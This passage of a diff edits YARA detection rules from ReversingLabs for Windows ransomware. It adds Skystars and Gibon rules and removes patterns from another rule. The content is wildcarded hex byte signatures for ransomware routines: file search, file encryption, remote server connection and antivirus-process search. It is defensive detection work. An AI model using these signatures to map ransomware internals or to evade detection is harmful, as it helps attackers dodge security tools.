-            6A ?? 56 FF 15 ?? ?? ?? ?? 8B 4C 24 ?? 33 D2 89 44 24 ?? 66 89 11 83 F8 ?? 75 ?? BF
-            ?? ?? ?? ?? E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74
-            ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8D 44 24 ?? 50 56 FF
-            15 ?? ?? ?? ?? F6 44 24 ?? ?? 74 ?? 85 DB 74 ?? BA ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ??
-            85 C0 74 ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 6A ?? 8B 54 24 ?? 8B CE E8 ?? ?? ??
-            ?? EB ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 57 EB ?? FF 74 24 ?? 8D 54 24 ?? 8B CE
-            E8 ?? ?? ?? ?? 59 8B 44 24 ?? 33 C9 66 89 08 8D 44 24 ?? 50 FF 74 24 ?? FF 15 ?? ??
-            ?? ?? 85 C0 0F 85 ?? ?? ?? ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? FF 74 24 ?? FF 15 ?? ??
-            ?? ?? 8B C7 5F 5E 5B 8B E5 5D C3
+
+	condition:
+		uint16(0)==0x5A4D and ( all of ($find_files_p*)) and ($encrypt_files) and ( all of ($remote_connection_p*))
+}
+rule REVERSINGLABS_Win32_Ransomware_Skystars : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects Skystars ransomware."
+		author = "ReversingLabs"
+		id = "9dc19bda-c5bd-58fb-8c4f-a7d8a6fbbce9"
+		date = "2020-11-20"
+		modified = "2020-11-20"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Skystars.yara#L1-L97"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "352d22183b0974908ce684725fe85b4714ac5959c3bddf093b54383195881a5a"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Ransomware"
+		tc_detection_name = "Skystars"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$search_files_p1 = {
+            55 8B EC 81 EC ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 68 ?? ?? ?? ??
+            8B 5D ?? FF 33 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 8D 85 ?? ?? ?? ?? 50
+            6A ?? 6A ?? FF 75 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 8B 5D ?? 85 DB
+            74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 50 8B 5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ??
+            83 C4 ?? 58 89 45 ?? 68 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 0F 84
+            ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 0F 84 ?? ?? ??
+            ?? 68 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? B8 ??
+            ?? ?? ?? EB ?? B8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? 8B 5D
+            ?? FF 33 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 8D 45 ?? 50 E8 ?? ?? ?? ??
+            8B 5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 6A ?? 6A ?? 6A
+            ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 8B 45 ?? 50 8B 5D ?? 85 DB 74 ??
+            53 E8 ?? ?? ?? ?? 83 C4 ?? 58 89 45 ?? E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B 5D ?? FF 33
         }
-		$search_antivirus_processes_v5_0_1 = {
-            55 8B EC 83 EC ?? 53 56 8B 35 ?? ?? ?? ?? BB ?? ?? ?? ?? 57 6A ?? 53 68 ?? ?? ?? ??
-            33 C0 50 FF D6 8B 7D ?? 6A ?? 53 6A ?? 33 DB 89 07 53 C7 45 ?? ?? ?? ?? ?? C7 45 ??
-            ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ??
-            ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ??
-            ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ??
-            ?? ?? ?? ?? FF D6 8B F0 85 F6 75 ?? 33 C0 E9 ?? ?? ?? ?? 53 6A ?? C7 06 ?? ?? ?? ??
-            FF 15 ?? ?? ?? ?? 89 45 ?? 83 F8 ?? 75 ?? 68 ?? ?? ?? ?? 53 56 FF 15 ?? ?? ?? ?? EB
-            ?? 56 33 C9 89 5D ?? 50 89 5D ?? 89 4D ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ??
-            83 7D ?? ?? 0F 85 ?? ?? ?? ?? 33 C0 8D 4E ?? 89 45 ?? 51 FF 74 85 ?? FF 15 ?? ?? ??
-            ?? 85 C0 74 ?? 8B 45 ?? 8D 4E ?? 40 89 45 ?? 83 F8 ?? 72 ?? EB ?? 33 C0 39 45 ?? 8D
-            58 ?? 8D 46 ?? 50 FF 37 75 ?? FF 15 ?? ?? ?? ?? EB ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ??
-            ?? FF 37 FF 15 ?? ?? ?? ?? FF 45 ?? 8D 46 ?? 50 FF 15 ?? ?? ?? ?? 8B 4D ?? 6A ?? 8D
-            0C 41 8B 45 ?? 81 F9 ?? ?? ?? ?? 89 4D ?? 59 0F 47 C1 89 45 ?? 56 FF 75 ?? FF 15 ??
-            ?? ?? ?? 85 C0 74 ?? FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 85 DB 74 ?? 8B 07
-            33 C9 66 39 08 74 ?? 50 FF 15 ?? ?? ?? ?? 8B 0F 33 D2 66 89 54 41 ?? 8B 45 ?? 8B 4D
-            ?? 89 08 68 ?? ?? ?? ?? 33 C0 50 56 8B 35 ?? ?? ?? ?? FF D6 FF 75 ?? FF 15 ?? ?? ??
-            ?? 85 DB 75 ?? 68 ?? ?? ?? ?? 33 C0 50 FF 37 FF D6 8B C3 5F 5E 5B 8B E5 5D C2
+		$search_files_p2 = {
+            B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 8D 85 ?? ?? ?? ?? 50 6A ?? 68 ?? ??
+            ?? ?? FF 75 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 8B 5D ?? 85 DB 74 ??
+            53 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 50 8B 5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4
+            ?? 58 89 45 ?? 68 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 0F 84 ?? ??
+            ?? ?? 68 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 68
+            ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? B8 ?? ?? ??
+            ?? EB ?? B8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? 8B 5D ?? FF
+            33 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 8B 5D
+            ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 6A ?? 68 ?? ?? ?? ??
+            6A ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 8B 45 ?? 50 8B 5D ?? 85 DB 74
+            ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 58 89 45 ?? E9 ?? ?? ?? ?? FF 75 ?? B8 ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 83 C4 ?? 8B 5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 8B E5 5D C2
         }
-		$set_url_parameters_v5_0_2 = {
-            68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ??
-            68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ??
-            68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 8D 8D ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45
-            ?? 8B 45 ?? 8D 8C 00 ?? ?? ?? ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ??
-            75 ?? 6A ?? FF 15 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 68
-            ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF
-            15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF
-            35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 45 ?? 68 ?? ?? ?? ?? FF 35
-            ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68
-            ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ??
-            D1 E0 A3 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? D1 E0 8B D0 8B 0D ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 6A ?? FF 15 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A
-            ?? FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 75 ?? 6A ?? FF 75 ?? FF 15 ?? ?? ?? ?? 68
-            ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ??
-            ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 3D ?? ?? ??
-            ?? 73 ?? 83 65 ?? ?? 68 ?? ?? ?? ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 74 ?? 6A
-            ?? FF 75 ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 75 ?? FF 15 ?? ??
-            ?? ?? 83 7D ?? ?? 74 ?? 6A ?? FF 75 ?? FF 15 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 8B E5 5D C3
+		$encrypt_files = {
+            55 8B EC 81 EC ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 8B 5D ?? 8B 03
+            85 C0 75 ?? B8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? BB ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ??
+            89 45 ?? 8B 45 ?? 50 8B 5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 58 89 45 ?? 68
+            ?? ?? ?? ?? 6A ?? 8B 5D ?? 8B 03 85 C0 75 ?? B8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? BB ??
+            ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? FF 75 ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B 5D ?? FF
+            33 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ??
+            ?? 68 ?? ?? ?? ?? BB ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? FF 75 ?? 68 ?? ??
+            ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 8B 5D ?? 85 DB 74 ?? 53 E8 ??
+            ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 8B 45 ??
+            85 C0 75 ?? B8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 6A ?? 8B 45 ?? 85 C0 75 ?? B8 ?? ?? ??
+            ?? 50 68 ?? ?? ?? ?? BB ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ??
+            8B 5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 6A ?? 8B 45 ?? 85 C0
+            75 ?? B8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 6A ?? 8B 45 ?? 85 C0 75 ?? B8 ?? ?? ?? ?? 50
+            68 ?? ?? ?? ?? BB ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B 5D ?? 85 DB 74 ?? 53 E8 ??
+            ?? ?? ?? 83 C4 ?? 8B 5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 8B 5D ?? 85 DB 74
+            ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 8B E5 5D C2
         }
-		$set_url_parameters_v5_0_3 = {
-            68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ??
-            68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ??
-            68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 8D 8D ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45
-            ?? 8B 45 ?? 8D 8C 00 ?? ?? ?? ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ??
-            75 ?? 6A ?? FF 15 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 68
-            ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF
-            15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF
-            35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 45 ?? 68 ?? ?? ?? ?? FF 35
-            ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68
-            ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ??
-            D1 E0 A3 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? D1 E0 8B D0 8B 0D ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 6A ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ??
-            ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ??
-            ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ??
-            ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 73 ?? 83 65 ?? ?? 68 ?? ?? ?? ?? 8D
-            45 ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 74 ?? 6A ?? FF 75 ?? 6A ?? 6A ?? FF 15 ?? ?? ??
-            ?? 68 ?? ?? ?? ?? 6A ?? FF 75 ?? FF 15 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ??
-            6A ?? 6A ?? FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 75 ?? 6A ?? FF 75 ?? FF 15 ?? ??
-            ?? ?? 83 7D ?? ?? 74 ?? 6A ?? FF 75 ?? FF 15 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 8B E5 5D C3
+		$main_routine = {
+            68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? BB ?? ?? ?? ?? B8 ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 8B 5D ?? 85 DB 74 ?? 53 E8
+            ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? BB ?? ?? ??
+            ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 8B 5D
+            ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 68 ??
+            ?? ?? ?? BB ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 8D 45 ?? 50
+            E8 ?? ?? ?? ?? 8B 5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? B8 ?? ?? ?? ?? 89 45
+            ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 8B 5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 68 ??
+            ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? BB ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ??
+            89 45 ?? 68 ?? ?? ?? ?? 6A ?? 8B 45 ?? 85 C0 75 ?? B8 ?? ?? ?? ?? 50 68 ?? ?? ?? ??
+            6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? BB ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B 5D ??
+            85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 68 ??
+            ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? BB ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 83 C4 ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B E5 5D C3
         }
-		$search_antivirus_processes_v5_0_2 = {
-            55 8B EC 83 EC ?? 53 56 8B 35 ?? ?? ?? ?? BB ?? ?? ?? ?? 57 6A ?? 53 68 ?? ?? ?? ??
-            33 C0 50 FF D6 8B 7D ?? 6A ?? 53 6A ?? 33 DB 89 07 53 C7 45 ?? ?? ?? ?? ?? C7 45 ??
-            ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ??
-            ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ??
-            ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ??
-            ?? ?? ?? ?? FF D6 8B F0 85 F6 75 ?? 33 C0 E9 ?? ?? ?? ?? 53 6A ?? C7 06 ?? ?? ?? ??
-            FF 15 ?? ?? ?? ?? 89 45 ?? 83 F8 ?? 75 ?? 68 ?? ?? ?? ?? 53 56 FF 15 ?? ?? ?? ?? EB
-            ?? 56 33 C9 89 5D ?? 50 89 5D ?? 89 4D ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ??
-            83 7D ?? ?? 0F 85 ?? ?? ?? ?? 33 C0 8D 4E ?? 89 45 ?? 51 FF 74 85 ?? FF 15 ?? ?? ??
-            ?? 85 C0 74 ?? 8B 45 ?? 8D 4E ?? 40 89 45 ?? 83 F8 ?? 72 ?? EB ?? 33 C0 39 45 ?? 8D
-            58 ?? 8D 46 ?? 50 FF 37 75 ?? FF 15 ?? ?? ?? ?? EB ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ??
-            ?? FF 37 FF 15 ?? ?? ?? ?? FF 45 ?? 8D 46 ?? 50 FF 15 ?? ?? ?? ?? 8B 4D ?? 6A ?? 8D
-            0C 41 8B 45 ?? 81 F9 ?? ?? ?? ?? 89 4D ?? 59 0F 47 C1 89 45 ?? 56 FF 75 ?? FF 15 ??
-            ?? ?? ?? 85 C0 74 ?? FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 85 DB 74 ?? 8B 07
-            33 C9 66 39 08 74 ?? 50 FF 15 ?? ?? ?? ?? 8B 0F 33 D2 66 89 54 41 ?? 8B 45 ?? 8B 4D
-            ?? 89 08 68 ?? ?? ?? ?? 33 C0 50 56 8B 35 ?? ?? ?? ?? FF D6 FF 75 ?? FF 15 ?? ?? ??
-            ?? 85 DB 75 ?? 68 ?? ?? ?? ?? 33 C0 50 FF 37 FF D6 8B C3 5F 5E 5B 8B E5 5D C2
+
+	condition:
+		uint16(0)==0x5A4D and ($main_routine) and ( all of ($search_files_p*)) and ($encrypt_files)
+}
+rule REVERSINGLABS_Win32_Ransomware_Gibon : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects Gibon ransomware."
+		author = "ReversingLabs"
+		id = "3f1a5bee-8fc0-5596-b898-e97073731930"
+		date = "2020-07-15"
+		modified = "2020-07-15"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Gibon.yara#L1-L122"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "cace0f35529307487f39aace6ae8989c7b878f82ebe890b256dfac563551a099"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Ransomware"
+		tc_detection_name = "Gibon"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$remote_server_connection_1_0 = {
+            53 8B DC 83 EC ?? 83 E4 ?? 83 C4 ?? 55 8B 6B ?? 89 6C 24 ?? 8B EC 6A ?? 68 ?? ?? ??
+            ?? 64 A1 ?? ?? ?? ?? 50 53 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45
+            ?? 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? BA ?? ?? ?? ??
+            C7 45 ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85
+            ?? ?? ?? ?? 50 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? B9 ?? ?? ?? ?? 85 C0 74 ?? BA ?? ??
+            ?? ?? E9 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 6A ??
+            6A ?? 6A ?? FF 15 ?? ?? ?? ?? 8B F0 B9 ?? ?? ?? ?? 83 FE ?? 75 ?? BA ?? ?? ?? ?? E9
+            ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ??
+            FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? B8 ?? ?? ?? ?? 6A ?? 66 89 85 ?? ?? ?? ?? FF 15
+            ?? ?? ?? ?? 66 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 56 FF 15 ?? ?? ?? ?? 8B
+            3D ?? ?? ?? ?? 85 C0 79 ?? FF D7 50 51 BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ??
+            83 C4 ?? 8B C8 E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? BA ?? ?? ?? ?? B9 ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? 8B 43 ??
+            83 C0 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 50 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ??
+            ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D ??
+            ?? ?? ?? E8 ?? ?? ?? ?? 83 7B ?? ?? 8D 43 ?? FF 73 ?? 0F 43 43 ?? 8D 8D ?? ?? ?? ??
+            50 E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8
         }
-		$find_files_v5_0_2 = {
-            55 8B EC 83 E4 ?? 81 EC ?? ?? ?? ?? 53 56 57 33 FF 89 54 24 ?? 8B F1 89 7C 24 ?? 39
-            7D ?? 75 ?? 8D 54 24 ?? E8 ?? ?? ?? ?? 8B 5C 24 ?? 85 C0 75 ?? 85 DB 75 ?? 33 C0 E9
-            ?? ?? ?? ?? 33 DB 43 8B CE E8 ?? ?? ?? ?? 85 C0 75 ?? 66 83 3E ?? 74 ?? 8D 54 24 ??
-            89 7C 24 ?? 8B CE E8 ?? ?? ?? ?? 89 44 24 ?? 39 7C 24 ?? 75 ?? 56 FF 15 ?? ?? ?? ??
-            68 ?? ?? ?? ?? 56 8D 04 46 89 44 24 ?? FF 15 ?? ?? ?? ?? 6A ?? 57 57 8D 44 24 ?? 50
-            6A ?? 56 FF 15 ?? ?? ?? ?? 89 44 24 ?? 83 F8 ?? 75 ?? 8D 44 24 ?? 50 56 FF 15 ?? ??
-            ?? ?? 89 44 24 ?? 8B 4C 24 ?? 33 D2 66 89 11 83 F8 ?? 75 ?? BF ?? ?? ?? ?? E9 ?? ??
-            ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 68 ?? ?? ?? ?? 8D
-            44 24 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8D 44 24 ?? 50 56 FF 15 ?? ?? ?? ?? F6 44
-            24 ?? ?? 74 ?? 85 DB 74 ?? BA ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? 85 C0 74 ?? 68 ?? ??
-            ?? ?? 56 FF 15 ?? ?? ?? ?? 6A ?? 8B 54 24 ?? 8B CE E8 ?? ?? ?? ?? EB ?? 68 ?? ?? ??
-            ?? 56 FF 15 ?? ?? ?? ?? 57 EB ?? FF 74 24 ?? 8D 54 24 ?? 8B CE E8 ?? ?? ?? ?? 59 8B
